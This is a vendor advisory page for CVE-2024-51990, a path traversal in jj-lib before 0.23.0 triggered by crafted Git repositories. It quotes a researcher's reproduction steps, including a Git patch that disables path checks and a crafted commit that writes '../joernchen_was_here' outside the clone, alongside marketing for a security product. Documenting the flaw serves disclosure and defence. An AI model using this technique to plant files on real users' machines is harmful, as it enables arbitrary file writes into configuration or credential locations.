CVE-2024-51990

CVE-2024-51990 is a critical-severity path traversal vulnerability in jj-lib (rust), affecting versions < 0.23.0. It is fixed in 0.23.0.

Does this CVE actually affect you?

Kodem shows which CVEs are reachable and running in your applications, so you fix what's exploitable, not just what's listed.

Thank you! Your submission has been received!
Oops! Something went wrong while submitting the form.

Runtime intelligence, not another scanner.

Summary

jj vulnerable to path traversal via crafted Git repositories

Workarounds

Not much other than to not clone repositories from untrusted sources.

References

Here's the original report from @joernchen:

When cloning a crafted Git repository it is possible to let jj write
into arbitrary directories. This can be achieved by having file objects
which contain path traversals.

Reproduction steps:

Apply the following patch to Git version v.2.47.0:

diff --git a/path.c b/path.c
index 93491bab14..2f47e69fd1 100644
--- a/path.c
+++ b/path.c
@@ -44,11 +44,11 @@ struct strbuf *get_pathname(void)

 static const char *cleanup_path(const char *path)
 {
-       /* Clean it up */
+       /* Clean it up
        if (skip_prefix(path, "./", &path)) {
                while (*path == '/')
                        path++;
-       }
+       }*/
        return path;
 }

@@ -1101,7 +1101,9 @@ int normalize_path_copy_len(char *dst, const char *src, int *prefix_len)

 int normalize_path_copy(char *dst, const char *src)
 {
-       return normalize_path_copy_len(dst, src, NULL);
+//     return normalize_path_copy_len(dst, src, NULL);
+       memcpy(dst, src, strlen(dst));
+       return 0;
 }

 int strbuf_normalize_path(struct strbuf *src)
diff --git a/read-cache.c b/read-cache.c
index 3c078afadb..2eb44cb26f 100644
--- a/read-cache.c
+++ b/read-cache.c
@@ -977,6 +977,7 @@ static enum verify_path_result verify_path_internal(const char *path,
                                                    unsigned mode)
 {
        char c = 0;
+       return PATH_OK;

        if (has_dos_drive_prefix(path))
                return PATH_INVALID;

With this patched git binary we can now apply a crafted
patch containing a path traversal to a repository.

The patch would look like:

From ecea96264bd3f9785e5ebec8640be4847ba28e22 Mon Sep 17 00:00:00 2001
From: joernchen <[[email protected]](mailto:[email protected])>
Date: Sun, 13 Oct 2024 18:09:50 +0200
Subject: [PATCH] z123

---
 z | 0
 1 file changed, 0 insertions(+), 0 deletions(-)
 create mode 100644 z

diff --git a/../joernchen_was_here b/../joernchen_was_here
new file mode 100644
index 0000000..e69de29
--
2.46.1

Note the traversal ../joernchen_was_here in the patch. This now can be committed to a repository
using the modified git binary:

mkdir demo
cd demo
git init
./path/to/modified/git/git --exec-path=./path/to/modified/git am the_traversal.patch
rm ../joernchen_was_here # remove the file the modified git wrote

Now, when cloning that repository with jj git clone the path traversal will write above the worktree
directory, allowing arbitrary file writes.

I've attached a tar.gz with the demo repo so you don't have to mess with the patched Git at all. For
reproduction it should be sufficient to do jj git clone demo.git after unpacking the tarball.

The demo repository after being cloned with jj will create an empty file joernchen_was_here right next
to the demo directory to demonstrate the traversal.

Impact

Specially crafted Git repositories can cause jj to write files outside the clone.

Input manipulates file paths to reach files outside the intended directory, such as configuration or credential files. Typical impact: unauthorized file read or write outside the intended directory.

CVE-2024-51990 has a CVSS score of 7.5 (Critical). The vector is network-reachable, no privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (0.23.0); upgrading removes the vulnerable code path.

Affected versions

jj-lib (< 0.23.0)

Security releases

jj-lib → 0.23.0 (rust)

Kodem intelligence

Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.

Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.

Already deployed Kodem?

See it in your environmentNew to Kodem? Get a demo →

Remediation advice

Fixed in 0.23.0.

Frequently Asked Questions

  1. What is CVE-2024-51990? CVE-2024-51990 is a critical-severity path traversal vulnerability in jj-lib (rust), affecting versions < 0.23.0. It is fixed in 0.23.0. Input manipulates file paths to reach files outside the intended directory, such as configuration or credential files.
  2. How severe is CVE-2024-51990? CVE-2024-51990 has a CVSS score of 7.5 (Critical). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
  3. Which versions of jj-lib are affected by CVE-2024-51990? jj-lib (rust) versions < 0.23.0 is affected.
  4. Is there a fix for CVE-2024-51990? Yes. CVE-2024-51990 is fixed in 0.23.0. Upgrade to this version or later.
  5. Is CVE-2024-51990 exploitable, and should I be worried? Whether CVE-2024-51990 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
  6. What actually determines whether CVE-2024-51990 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
  7. How do I fix CVE-2024-51990? Upgrade jj-lib to 0.23.0 or later.

Other vulnerabilities in jj-lib

Stop the waste.
Protect your environment with Kodem.